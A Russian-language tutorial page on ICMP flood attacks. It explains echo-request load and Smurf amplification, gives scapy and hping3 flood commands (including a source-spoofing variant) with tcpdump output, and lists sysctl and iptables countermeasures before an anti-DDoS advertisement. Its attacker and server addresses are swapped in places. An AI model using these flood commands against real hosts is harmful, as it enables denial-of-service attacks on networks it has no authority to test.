ICMP flood

ICMP-flood. Описание

В большинстве случаев эхо-запросы сетевым оборудованием обрабатываются программными средствами. Эхо-запрос требует принятие пакета устройством, его обработку, формирование и отправку эхо-ответа. При этом ресурсов сетевого оборудования тратится во много раз больше, чем при обработке обычного пакета. Также следует учитывать, что ICMP-запрос обычно небольшой, около 64 байт. Ввиду этого, атака направлена на то, чтобы нагрузить атакуемое устройство, либо получить перегруз по количеству пакетов, которое устройство может обработать.

ICMP

Также существуют методы усиления атаки путем отправки запроса по широковещательному адресу с поддельным адресом-источника пакета, так называемые Smurf-атаки. Отправка эхо-запроса ICMP на широковещательный адрес заставляет все узлы в этой сети отправить эхо-ответы на подмененный адрес, тем самым достигается усиление атаки.

Генерация

Для того чтобы произвести стресс-тест своего сервера, сгенерируем ICMP-flood атаку.

  • Ip-адрес тестируемого сервера — 1.1.1.1
  • Ip-адрес злоумышленника — 1.1.1.2

С помощью утилиты scapy:

#scapy
>>>send(IP(dst=" 1.1.1.2 ")/ ICMP(),loop=1)

С помощью утилиты hping3:

hping3 -q -n -a 1.1.1.1 --id 0 --icmp -d 56 --flood 1.1.1.2

Смотрим, что атака идет. Вывод tcpdump на сервере:

#tcpdump host 1.1.1.2
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), capture size 65535 bytes
15:15:23.103013 IP 1.1.1.1 > 1.1.1.2: ICMP echo request, id 48935, seq 0, length 64
15:15:23.103083 IP 1.1.1.2 > 1.1.1.1: ICMP echo reply, id 48935, seq 0, length 64
15:15:23.103248 IP 1.1.1.1 > 1.1.1.2: ICMP echo request, id 48935, seq 256, length 64
15:15:23.103255 IP 1.1.1.2 > 1.1.1.1: ICMP echo reply, id 48935, seq 256, length 64
15:15:23.103379 IP 1.1.1.1 > 1.1.1.2: ICMP echo request, id 48935, seq 512, length 64
15:15:23.103385 IP 1.1.1.2 > 1.1.1.1: ICMP echo reply, id 48935, seq 512, length 64

С подменой адресов:

hping3 -q -n --id 0 --icmp -d 56 --flood 1.1.1.2 --rand-source

Видим, что атака идет. Вывод tcpdump на сервере:

# tcpdump -i eth0 icmp
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), capture size 65535 bytes
16:37:50.508848 IP c3-213-228-182-125.netvisao.pt > 1.1.1.2: ICMP echo request, id 16936, seq 0, length 64
16:37:50.508880 IP 1.1.1.2 > c3-213-228-182-125.netvisao.pt: ICMP echo reply, id 16936, seq 0, length 64
16:37:50.508963 IP 55.217.121.222 > 1.1.1.2: ICMP echo request, id 16936, seq 256, length 64
16:37:50.508972 IP 1.1.1.2 > 55.217.121.222: ICMP echo reply, id 16936, seq 256, length 64
16:37:50.509004 IP customer-187-237-69-246.uninet-ide.com.mx > 1.1.1.2: ICMP echo request, id 16936, seq 512, length 64
16:37:50.509013 IP 1.1.1.2 > customer-187-237-69-246.uninet-ide.com.mx: ICMP echo reply, id 16936, seq 512, length 64
16:37:50.509035 IP 109x194x161x72.dynamic.tmn.ertelecom.ru > 1.1.1.2: ICMP echo request, id 16936, seq 768, length 64
16:37:50.509044 IP 1.1.1.2 > 109x194x161x72.dynamic.tmn.ertelecom.ru: ICMP echo reply, id 16936, seq 768, length 64
16:37:50.509062 IP adsl-70-149-250-109.pns.bellsouth.net > 1.1.1.2: ICMP echo request, id 16936, seq 1024, length 64
16:37:50.509068 IP 1.1.1.2 > adsl-70-149-250-109.pns.bellsouth.net: ICMP echo reply, id 16936, seq 1024, length 64
16:37:50.509092 IP 125.99.9.109.rev.sfr.net > 1.1.1.2: ICMP echo request, id 16936, seq 1536, length 64
16:37:50.509103 IP 1.1.1.2 > 125.99.9.109.rev.sfr.net: ICMP echo reply, id 16936, seq 1536, length 64
16:37:50.509124 IP 152.64.72.197 > 1.1.1.2: ICMP echo request, id 16936, seq 2048, length 64
16:37:50.509132 IP 1.1.1.2 > 152.64.72.197: ICMP echo reply, id 16936, seq 2048, length 64
16:37:50.509149 IP 171.199.217.180 > 1.1.1.2: ICMP echo request, id 16936, seq 1280, length 64
16:37:50.509156 IP 1.1.1.2 > 171.199.217.180: ICMP echo reply, id 16936, seq 1280, length 64
16:37:50.509173 IP 10.28.168.217 > 1.1.1.2: ICMP echo request, id 16936, seq 1792, length 64
16:37:50.509179 IP 1.1.1.2 > 10.28.168.217: ICMP echo reply, id 16936, seq 1792, length 64

Если машина, с которой генерируется атака, производительная, то ваш сервер будет заметно притормаживать.

Защита

Экстренные методы защиты. Если сервер высоконагруженный, рекомендуется отключить ответы на эхо-запросы:

# sysctl net.ipv4.icmp_echo_ignore_all=1

или с помощью брандмауэра:

# iptables -A INPUT -p icmp -j DROP --icmp-type 8

Для нормальной защиты от ddos-атак рекомендуется воспользоваться специальными средствами защиты, например, продуктами компании Arbor networks, Juniper или аналогичными.

 Купить\Заказать услугу AntiDDOS можно здесь.